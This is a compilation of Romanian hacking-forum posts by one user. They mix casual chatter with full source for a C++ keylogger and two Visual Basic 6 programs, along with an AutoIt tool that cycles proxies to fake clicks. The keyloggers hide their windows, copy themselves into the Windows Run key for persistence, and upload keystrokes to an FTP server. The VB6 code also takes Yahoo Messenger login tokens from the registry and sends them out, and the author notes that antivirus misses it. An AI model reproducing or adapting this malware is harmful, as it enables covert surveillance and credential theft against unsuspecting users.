parazitul29

la ce sunt bune monedele astea de le acordati ataa importanta?

cred ca in curand se va adapta chestia si pentru virusi ,un virus inteligent cred ca ar fi practic invincibil

park@ ce fel de site ai de ai luat asa de mult pot sa bag adsense si pe xhost sau blogspot?

acum cateva minute am vazut unul,afara este cerul senin nici-un nor, strange...

-welcome to RST-

un keylogger in c++ facut de mine #include<windows.h> #include<Wininet.h> #include<iostream.h> #include<fstream.h> short key; char szKey[MAX_PATH]; int scan; ftpUpload() { HINTERNET hOpen; HINTERNET hConnect; Sleep(200000);\\intervalul de timp in care se uploadeaza pe sv hOpen=InternetOpen ("for rstcenter",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); hConnect = InternetConnect (hOpen,"host",INTERNET_INVALID_PORT_NUMBER,"username","parola",INTERNET_SERVICE_FTP,0,0);\\modificati hostul,numele si parola FtpDeleteFile(hConnect,"test.txt"); FtpPutFile(hConnect,"c:\\test.txt","test.txt",FTP_TRANSFER_TYPE_ASCII,0);\\c:\\test.txt fisierul care va fi uploadat si test.txt numele sub care va fi pus pe sv InternetCloseHandle(hConnect); Sleep(10); InternetCloseHandle(hOpen); ExitThread(0); } copy() { char FileName[MAX_PATH]; HINSTANCE hInstance=GetModuleHandle(NULL); HKEY hkvirus; char Virusname[100]="c:\\Syztem.exe";\\numele virusului GetModuleFileName(hInstance, FileName, MAX_PATH); CopyFile(FileName,"c:\\Syztem.exe",FALSE);\\unde se copiaza RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0L,KEY_ALL_ACCESS,&hkvirus); RegSetValueEx(hkvirus,"SYZTEM",0,REG_SZ,(const unsigned char*)Virusname,sizeof(Virusname)); } taste() { while(1) { Sleep(10); for(key=0;key<256;key++) if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); ofstream file( "c:\\test.txt", ios::app );\\ fisieruunde se scriu tastele file<<szKey; file.close(); } } } void main(void) { AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); copy(); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&ftpUpload, NULL, 0, NULL); taste(); } daca vreti sa se scrie si titlul ferestrei deschisa la acel moment bagati in functia main CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&WindowTitle, NULL, 0, NULL); si adaugati o noua functie WindowTitle() { char title[MAX_PATH]; Sleep(120000); GetWindowText(GetForegroundWindow(), title, 100); ofstream file( "c:\\test.txt", ios::app ); file<<title; file.close(); ExitThread(0); } problema e ca in fisierul unde se scriu tastele va fi cam greu de citit, va fi dezordonat rau de tot.... avast nu-l detecteaza de altele nu stiu am pus comentarii pe unde trebuie sa modifice pentru aia care nu stiu keylogerul este foarte simplu fara api hooking,detouring m-am inspirat putin dintr-un cod de al lui slick cu un keylogger simplu care scria intr-un txt tastele apasate

frumos explicat bravo! +rep de la mine

dar sper ca se vor folosi pe la offtopic,ca altfel rst-ul se va transforma incet dar sigur intr-o retea de socializare dupa parerea mea astea ajung

scoate proxy din mozzila sau cu registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings si unde ai proxyenable pui 0 si iti apare asa pentru ca ultimul proxy folosit nu e prea functional LE:am mai pus un buton "no-proxy",dupa ce terminati cu proxy-urile dati click pentru a reveni la normal...si a evita genul de problema pe care a avut-o maverick am uploadat alt .exe

screenshot in primul rand ca sa mearga aveti nevoie de internet explorer nu conteaza care un mic program facut de mine in autoIT caruia ii dai un url introduci proxy si se conecteaza cu fiecare proxy in parte la url,e bun pentru concursuriile alea cu click-uri desi exista alte metode mai usor de folosit e format din 22 de textbox-uri cel pentru url are in stanga text-ul url si celelate pentru proxy,o problema este ca e ceva de asteptat cateva minute cred depinde de conexiune ca daca ai net sarma stai si 10 minute dupa ce toate proxy-uriile vor fi incercate va va aparea un mesagebox cu complet dupa ce terminatii proxy-ul va ramane in continuare activ il scoateti din setariile de la Internet explorer se putea pune un buton care sa-l dezactiveze dar deja ii dadusem upload cand am observat ca ramane(era logic ca ramane) adresa proxy se introduce cu tot cu port ex:1.2.3.4:80 source code #include <GUIConstantsEx.au3> #include <IE.au3> GUICreate("set") $url=guictrlcreateinput("",40, 20, 200, 20) $inputproxy1=guictrlcreateinput("",40, 80, 200, 20) $inputproxy2=guictrlcreateinput("",40, 50, 200, 20) $inputproxy3=guictrlcreateinput("",40, 110, 200, 20) $inputproxy4=guictrlcreateinput("",40, 140, 200, 20) $inputproxy5=guictrlcreateinput("",40, 170, 200, 20) $inputproxy6=guictrlcreateinput("",40, 200, 200, 20) $inputproxy7=guictrlcreateinput("",40, 230, 200, 20) $inputproxy8=guictrlcreateinput("",40, 260, 200, 20) $inputproxy9=guictrlcreateinput("",40, 290, 200, 20) $inputproxy10=guictrlcreateinput("",40, 320, 200, 20) $inputproxy11=guictrlcreateinput("",250, 20, 150, 20) $inputproxy12=guictrlcreateinput("",250, 50, 150, 20) $inputproxy13=guictrlcreateinput("",250, 80, 150, 20) $inputproxy14=guictrlcreateinput("",250, 110, 150, 20) $inputproxy15=guictrlcreateinput("",250, 140, 150, 20) $inputproxy16=guictrlcreateinput("",250, 170, 150, 20) $inputproxy17=guictrlcreateinput("",250, 200, 150, 20) $inputproxy18=guictrlcreateinput("",250, 230, 150, 20) $inputproxy19=guictrlcreateinput("",250, 260, 150, 20) $inputproxy20=guictrlcreateinput("",250, 290, 150, 20) $inputproxy21=guictrlcreateinput("",250, 320, 150, 20) $texturl=GUICtrlCreateLabel("url", 20, 20) $buton3=GUICtrlCreateButton("no-proxy", 300, 360, 70) $buton = GUICtrlCreateButton("GO", 10, 360, 50) $buton2 = GUICtrlCreateButton("despre", 200, 360, 50) GUICtrlSetState(-1, $GUI_FOCUS) gUICtrlSetState(-1, $GUI_FOCUS) GUISetState() Do $msg = GUIGetMsg() If $msg = $buton Then $urlread=GUICtrlRead($url) $proxy=GUICtrlRead($inputproxy1) $proxy2=GUICtrlRead($inputproxy2) $proxy3=GUICtrlRead($inputproxy3) $proxy4=GUICtrlRead($inputproxy4) $proxy5=GUICtrlRead($inputproxy5) $proxy6=GUICtrlRead($inputproxy6) $proxy7=GUICtrlRead($inputproxy7) $proxy8=GUICtrlRead($inputproxy8) $proxy9=GUICtrlRead($inputproxy9) $proxy10=GUICtrlRead($inputproxy10) $proxy11=GUICtrlRead($inputproxy11) $proxy12=GUICtrlRead($inputproxy12) $proxy13=GUICtrlRead($inputproxy13) $proxy14=GUICtrlRead($inputproxy14) $proxy15=GUICtrlRead($inputproxy15) $proxy16=GUICtrlRead($inputproxy16) $proxy17=GUICtrlRead($inputproxy17) $proxy18=GUICtrlRead($inputproxy18) $proxy19=GUICtrlRead($inputproxy19) $proxy20=GUICtrlRead($inputproxy20) $proxy21=GUICtrlRead($inputproxy21) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyEnable","REG_DWORD","1") sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy2) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy3) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) Sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy4) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) sleep(10000) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy5) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy6) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy7) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy8) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy9) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy10) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) sleep(10000) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy11) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy12) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy13) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy14) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy15) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy16) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy17) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy18) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy19) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy20) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) sleep(1000) regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyServer","REG_SZ",$proxy21) sleep(1000) $oIE=_IECreate($urlread,0,0,1,0) _IEQuit ($oIE) msgbox(0,"complet","complet") endif if $msg=$buton2 then MsgBox(0,"despre","by parazitul29") endif if $msg=$buton3 Then regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings","ProxyEnable","REG_DWORD","0") endif Until $msg = $GUI_EVENT_CLOSE download .exe MEGAUPLOAD - The leading online storage and file delivery service

Developer: parazitul29 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Option Explicit Dim hOpen As Long, hConnection As Long, hFile As Long Dim dwType As Long Dim dwSeman As Long Dim ftput As Long Dim ftput2 As Long Function scrietext() Dim filew As String filew = "c:\test1.txt" Open filew For Output As #2 Print #2, Text1.Text Close #2 End Function Function scriereg() On Error Resume Next Dim FileName As String FileName = "c:\test2.txt" Dim value As String Dim valuee As String Dim shell Set shell = CreateObject("WScript.Shell") shell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SYZTEM", "C:\SYZTEM.exe" value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS") valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID") Open FileName For Output As #2 Print #2, "Windows Registry Editor Version 5.00" Print #2, Print #2, "[HKEY_CURRENT_USER\Software\yahoo\pager]" Print #2, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34) Print #2, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34) Print #2, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001" Close #2 End Function Private Sub Form_Load() On Error Resume Next scriereg FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe" End Sub Private Sub Timer1_Timer() Dim x, x2, i As Integer For i = 65 To 90 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then If x2 = -32768 Then Text1.Text = Text1.Text & Chr(i) scrietext Else: Text1.Text = Text1.Text & Chr(i + 32) scrietext End If End If Next For i = 48 To 57 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then Select Case i Case 48 If x2 = -32768 Then Text1.Text = Text1.Text & ")" scrietext Else: Text1.Text = Text1.Text & "0" scrietext End If Case 49 If x2 = -32768 Then Text1.Text = Text1.Text & "!" scrietext Else: Text1.Text = Text1.Text & "1" scrietext End If Case 50 If x2 = -32768 Then Text1.Text = Text1.Text & "@" scrietext Else: Text1.Text = Text1.Text & "2" scrietext End If Case 51 If x2 = -32768 Then Text1.Text = Text1.Text & "#" scrietext Else: Text1.Text = Text1.Text & "3" scrietext End If Case 52 If x2 = -32768 Then Text1.Text = Text1.Text & "$" scrietext Else: Text1.Text = Text1.Text & "4" scrietext End If Case 53 If x2 = -32768 Then Text1.Text = Text1.Text & "%" scrietext Else: Text1.Text = Text1.Text & "5" scrietext End If Case 54 If x2 = -32768 Then Text1.Text = Text1.Text & "^" scrietext Else: Text1.Text = Text1.Text & "6" scrietext End If Case 55 If x2 = -32768 Then Text1.Text = Text1.Text & "&" scrietext Else: Text1.Text = Text1.Text & "7" End If Case 56 If x2 = -32768 Then Text1.Text = Text1.Text & "*" scrietext Else: Text1.Text = Text1.Text & "8" scrietext End If Case 57 If x2 = -32768 Then Text1.Text = Text1.Text & "(" scrietext Else: Text1.Text = Text1.Text & "9" scrietext End If End Select End If Next For i = 8 To 192 x = GetAsyncKeyState(i) x2 = GetAsyncKeyState(16) If x = -32767 Then Select Case i Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1) scrietext Case 9: Text1.Text = Text1.Text & " Tab " scrietext Case 17: Text1.Text = Text1.Text & " [ Ctrl ] " scrietext Case 18: Text1.Text = Text1.Text & " [Alt] " scrietext Case 19: Text1.Text = Text1.Text & " [ Pause] " scrietext Case 20: Text1.Text = Text1.Text & " [ Capslock ] " scrietext Case 27: Text1.Text = Text1.Text & " [Esc ] " scrietext Case 32: Text1.Text = Text1.Text & " " scrietext Case 33: Text1.Text = Text1.Text & " [ PageUp ] " scrietext Case 34: Text1.Text = Text1.Text & " [ PageDown ] " scrietext Case 35: Text1.Text = Text1.Text & " [ End ] " scrietext Case 36: Text1.Text = Text1.Text & " [ Home ] " scrietext Case 37: Text1.Text = Text1.Text & " [ Left ] " scrietext Case 38: Text1.Text = Text1.Text & " [ Up ] " scrietext Case 39: Text1.Text = Text1.Text & " [ Right ] " scrietext Case 40: Text1.Text = Text1.Text & " [ Down ] " scrietext Case 41: Text1.Text = Text1.Text & " [ Select ] " scrietext Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] " scrietext Case 45: Text1.Text = Text1.Text & " [ Insert ] " scrietext Case 46: Text1.Text = Text1.Text & " [ Del ] " scrietext Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\") scrietext Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",") scrietext Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-") scrietext Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".") scrietext Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/") scrietext Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=") scrietext Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";") scrietext Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'") scrietext Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[") scrietext Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]") scrietext Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`") End Select End If Next End Sub Private Sub Timer2_Timer() Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End If End Sub Private Sub upload1() hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0 End Sub Private Sub Timer3_Timer() Const interval As Long = 2 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload2 minutetrecute = 0 End If End Sub Private Sub upload2() hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput2 = FtpPutFile(hConnection, "c:\test2.txt", "/test2.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0 End Sub si mai punem un modul Option Explicit Public Const MAX_PATH = 260 Public Const INTERNET_FLAG_RELOAD = &H80000000 Public Const NO_ERROR = 0 Public Const FILE_ATTRIBUTE_READONLY = &H1 Public Const FILE_ATTRIBUTE_HIDDEN = &H2 Public Const FILE_ATTRIBUTE_SYSTEM = &H4 Public Const FILE_ATTRIBUTE_DIRECTORY = &H10 Public Const FILE_ATTRIBUTE_ARCHIVE = &H20 Public Const FILE_ATTRIBUTE_NORMAL = &H80 Public Const FILE_ATTRIBUTE_TEMPORARY = &H100 Public Const FILE_ATTRIBUTE_COMPRESSED = &H800 Public Const FILE_ATTRIBUTE_OFFLINE = &H1000 Public Const INTERNET_FLAG_PASSIVE = &H8000000 Public Const FORMAT_MESSAGE_FROM_HMODULE = &H800 Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As Currency ftLastAccessTime As Currency ftLastWriteTime As Currency nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Const ERROR_NO_MORE_FILES = 18 Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _ (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _ (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _ lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As Any, lpLocalFileTime As Any) As Long Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Public Const INTERNET_INVALID_PORT_NUMBER = 0 Public Const INTERNET_SERVICE_FTP = 1 Public Const FTP_TRANSFER_TYPE_BINARY = &H2 Public Const FTP_TRANSFER_TYPE_ASCII = &H1 Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Public Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Boolean Public Declare Function InternetWriteFile Lib "wininet.dll" _ (ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumBytesToWite As Long, _ dwNumberOfBytesWritten As Long) As Integer Public Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" _ (ByVal hFtpSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long Public Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _ (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _ ByVal lpszRemoteFile As String, _ ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Public Declare Function FtpDeleteFile Lib "wininet.dll" _ Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, _ ByVal lpszFileName As String) As Boolean Public Declare Function InternetCloseHandle Lib "wininet.dll" _ (ByVal hInet As Long) As Long Public Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _ (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _ ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Public Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _ (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _ ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _ ByVal lFlags As Long, ByVal lContext As Long) As Long Public Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _ (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _ ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _ ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Const rDayZeroBias As Double = 109205# ' Abs(CDbl(#01-01-1601#)) Const rMillisecondPerDay As Double = 10000000# * 60# * 60# * 24# / 10000# Declare Function InternetGetLastResponseInfo Lib "wininet.dll" _ Alias "InternetGetLastResponseInfoA" _ (ByRef lpdwError As Long, _ ByVal lpszErrorBuffer As String, _ ByRef lpdwErrorBufferLength As Long) As Boolean Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" _ (ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _ ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _ Arguments As Long) As Long Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As Long Function Win32ToVbTime(ft As Currency) As Date Dim ftl As Currency ' Call API to convert from UTC time to local time If FileTimeToLocalFileTime(ft, ftl) Then ' Local time is nanoseconds since 01-01-1601 ' In Currency that comes out as milliseconds ' Divide by milliseconds per day to get days since 1601 ' Subtract days from 1601 to 1899 to get VB Date equivalent Win32ToVbTime = CDate((ftl / rMillisecondPerDay) - rDayZeroBias) Else MsgBox Err.LastDllError End If End Function modulul nu este facut de mine,am incercat sa-l fac dar m-am lovit de niste erori si l-am folosit pe asta de pe msdn,desi mi-am dat seama de ce aveam acele erori l-am lasat pe asta ca are mai mult cod de umplutura si din ce am citit pe hackforums cica l-ar face mai nedetectabil AVG-ul meu nu mi l-a detectat deci cel putin la avg-ul meu e nedetectabil la mine a mers asa cum trebuie a trimis totul bine pe ftp fara nici-o problema indicatii cu modificari pentru cei ce nu se descurca hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) aici serverul ftp, numele si parola trebuie sa modificati de 2 ori ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0) modificati si aici cu fisierul vostru /test1.txt este locatia unde se uploadeaza fila Private Sub Form_Load() On Error Resume Next scriereg FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe" End Sub cool.exe este numele exe-ului compilat si c:zYstem unde se autocopiaza cool.exe deasemenea schimbati locatia lui zystem.exe in c:\windows\system32\zystem.exe si asa recomand si cu fisierele .txt eu le-am denumit pe acolo test1,test2 Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End If acesta este timer-ul modificati aici Const interval As Long = "cate minute vreti sa fie intre upload-uri) sunt 2 astfel de timere unul pentru keylogger si unul pentru ets in total sunt 3 timere timer1 cu interval 1 si timer2 si 3 cu interval 60000 si mai puneti un textbox si ca fereastra sa fie invizibila dati dubluclick pe form si setati acolo visible:false si showintaskbar false cred ca astea sunt toate de detectie nu stiu decat de avg nu l-am scanat pe nici-un site,nu l-am folosit pe nimeni si nici nu cred ca o sa-l folosesc l-am facut mai mult sa vad daca pot sa fac un keylogger si sa vad cum sta treaba cu visual basic 6 si cu API-urile din windows *nota acest program este un exemplu de programare in vb6 eu nu pot fi luat la raspundere pentru actiuniile voastre

pleci de acolo mai viu de cat erai cand ai plecat

la chestia cu registry mie nu mi-a aparut nimic, dar daca apare se poate rezolva denumesc fisierul unde se scrie ets-ul praf.txt si cand il deschide pentru scriere nu mai are ce sa apara dupa care il trimite pe ftp unde il redenumesc .reg si ar trebuie sa mearga,sa fie din cauza ca nu am facut .exe eu il rulam din vb6 nu aveam de ce sa-l fac exe daca nu o sa-l folosess la ftp asta cu msinet.ocx e o problema dar cum ai spus se rezolva cu microsoft internet api care are wininet.dll pe care banuiesc ca il au toti sa incerc sa vad ce imi iese

steam nu e la cs?ce legatura are cu nfs?

autor: parazitul29 Function scriereg() Dim scriefisier As String scriefisier = "c:\praf.reg" Dim value As String Dim valuee As String Dim shell Set shell = CreateObject("WScript.Shell") value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS") valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID") Open scriefisier For Output As #1 Print #1, "Windows Registry Editor Version 5.00" Print #1, Print #1, "[HKEY_CURRENT_USER\Software\yahoo\pager]" Print #1, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34) Print #1, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34) Print #1, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001" Close #1 End Function Function ftp() Inet1.URL = "URL"'introduceti url-ul ftp-ului Inet1.UserName = "nume"'numele contului ftp Inet1.Password = "parola"'parola cont ftp Inet1.Execute Inet1.URL, "PUT C:\praf.reg " & "praf.reg" End Function Private Sub Form_Load() scriereg End Sub Private Sub Timer1_Timer() ftp End Sub cred ca numai e nevoie sa mai explic ce face puneti inet si un timer(interval 2-3) pe form nu stiu daca e FUD si nici nu ma intereseaza, nu ma intereseaza id-urile YM si conturiile in general,deasemenea nu sunt raspunzator de actiuniile voastre e doar un exemplu de cod in vb6 P.S am si eu o intrebare prima data am vrut sa citesc registry cu getsetting de ce imi scria 0 in fisier?

puteai sa pui si sursa de unde l-ai luat Securitate - Cum sa te protejezi de XSS : Web

eu mai stiam ceva de rainbow table sets

@gamer.florin c9df717d901860f1aa8ff9a76c747c11

la al meu sau al lui nytro?

1.cam asa e nu prea se mai posteaza tutoriale, 2.offtopic,nu e bine nici prea mult dar nici fara offtopic,in momentul asta cred ca e prea mult 3.la partea cu misto-ul de aia care vin cu spartul parolei de la messenger,nu prea se merita,sunt doar niste copii care stiu doar messenger/hi5.Astia nu ma deranjeaza ma deranjeaza aia care se cred hackeri si mari expertii in programare si la un amarat de cod incep sa te acuze ca l-ai copiat dupa diferite site-uri dar a fost sters codul de pe site-ul respectiv, cam asa sta treaba pe comunitatile cs unde toti se cred hackeri bine ca nu joc cs ca cine stie de ce dadeam pe joc 4.programe:astea totusi se mai posteaza cam asta a fost parerea mea,a unuia care a inceput 5 treadh-uri 1 programare,1 offtopic,2 ajutor,1 la bun venit la mine majoritar la ajutor, deci nu sunt prea mare cunoscator

am facut si eu ceva asemanator dar nu se compara cu al tau al meu e plin de bug-uri si erorii daca vrea cineva sa-l experimenteze: are urmatoarele fucntii:raspuns automat cand esti plecat de la pc,trimte mesaj al un id anume,seteaza statusu,imviroment,trimite fisiere,suna prieten,addfriend,ideea mi-a dat-o nemesis cu iframe-ul lui care schimba statusul, cred unele functii merg doar pe 8 ca 8 foloseam eu acum cateva zile cand l-am finalizat download .exe http://www.megaupload.com/?d=W6QA616K download source code .au3 http://www.megaupload.com/?d=MEH62JZU

toate il detecteaza, doar e ardamax

